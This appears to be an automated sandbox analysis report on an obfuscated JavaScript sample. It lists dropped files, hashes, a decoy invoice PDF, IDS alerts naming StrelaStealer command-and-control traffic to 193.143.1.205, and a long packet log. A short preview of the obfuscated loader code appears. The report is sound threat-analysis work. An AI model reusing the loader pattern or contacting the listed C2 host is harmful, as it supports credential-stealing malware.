Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e96541d6-a7ca-4ddb-a8e5-594028269084.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eb35a1bc-0fa4-4d9e-a70b-c91303f74005.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16826), with CRLF line terminators
Entropy (8bit):	4.913658011320885
TrID:
File name:	36522792260104347.js
File size:	20'402 bytes
MD5:	2516b56f7d18a53765fc93d537c26eeb
SHA1:	aa1ed49085960249a399713c2fccd8499f82b2a5
SHA256:	98d6ef36f7888a6950873c16a1aab4d24b2c26c47a9586a6cb084049499c66ad
SHA512:	2f79608a45b8c43fdb40ca7599ef82ffae8ee41500e4946e86d0fa860977e7f60082def3e6624a626b6457eedec86746f3624ae0c91786b3e0bb62c155b018f1
SSDEEP:	384:BO+DRxlLTfPsZwRkKcVVBKSuMt5dwtxZe:/DdTP74VVBKSuMLutxZe
TLSH:	9C9223CCF94AD34E8AD1393019E21EBB3A98048981E48A1F178BB5185375F3DB9D6CF5
File Content Preview:	function dezguk(){vgyssmnwo=[1031,3079,5127,4103,2055,3072];var gktvuozh=this[ojsstour+vxbtoeo+dvujg+rwoicen+bymzouwyw+vvawylmf+paezyanen+ehmkhx](this[fpuznfin+mvjczjmo+iatundrlj+dvujg+xvzunp+ojsstour+ehmkhx][mvyes+dvujg+bymzouwyw+vxbtoeo+ehmkhx+bymzouwyw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:00:19.037301+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T02:00:19.037301+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T02:00:21.209402+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:00:17.805207014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:17.810158968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:17.810264111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:17.813780069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:17.818747997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037142992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037192106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037203074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037214994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037256956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037270069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037301064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.037342072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.037394047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037405968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.037467003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.038418055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.038451910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.038516045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.042114973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.083954096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.083983898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.084000111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.084019899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.084060907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.161483049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161511898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161525011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161566019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161581993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161608934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.161667109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.161760092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161791086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.161811113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161823034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.161854982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.162012100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.162024975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.162060976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.162638903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.162667990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.162700891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.162982941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.162996054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.163007975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.163028955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.163388968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.163425922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.163434029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.163453102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.163482904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.163575888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.172615051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.172636032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.172677994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.225275040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.225297928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.225308895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.225344896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.225429058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.225480080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.250245094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.250264883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.250343084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.290961981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.290982962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291069031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291080952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291093111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291115046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.291151047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.291363001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291374922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291387081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291412115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.291431904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.291516066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291599989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291610003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291621923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291630030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.291656017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.291870117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291881084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291892052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.291918993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.292041063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.292052031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.292062998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.292074919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.292100906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.292736053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.292865992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.292876959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.292908907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.293000937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293011904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293049097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.293135881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293148041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293205023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.293817997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293829918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293840885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293860912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.293880939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.293925047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293942928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293953896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293965101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293976068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293976068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.293987989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.293992043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.294001102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.294011116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.294019938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.294022083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.294044018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.303136110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.303169012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.303179026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.303205967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.303232908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.303256989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.306792021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.306864023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.343888044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344000101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344011068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344022989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344033957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344070911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.344099998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.344161987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344172955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344183922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344208002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.344228029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.344472885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344485044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.344523907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.378365993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414108992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414135933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414172888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414172888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414186001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414217949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414246082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414272070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414277077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414377928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414390087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414416075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414475918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414513111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414536953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414622068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414633036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414647102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414658070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414704084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.414797068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414809942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.414840937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.415246964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415260077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415271997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415293932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.415360928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415373087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415384054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415395975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.415416002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.415667057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415725946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415738106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415765047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.415848017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415860891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415872097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415884018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.415884972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.415904999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.416059017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416070938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416081905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416096926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.416115999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.416542053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416569948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416582108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416604996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.416719913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416733027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416744947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416753054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.416757107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416781902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.416922092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416934967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.416958094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.417032957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417068958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.417499065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417556047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417588949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.417608976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417622089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417656898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.417753935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417767048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417778969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417789936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417793989 CET	49706	80	192.168.2.8	193.143.1.205
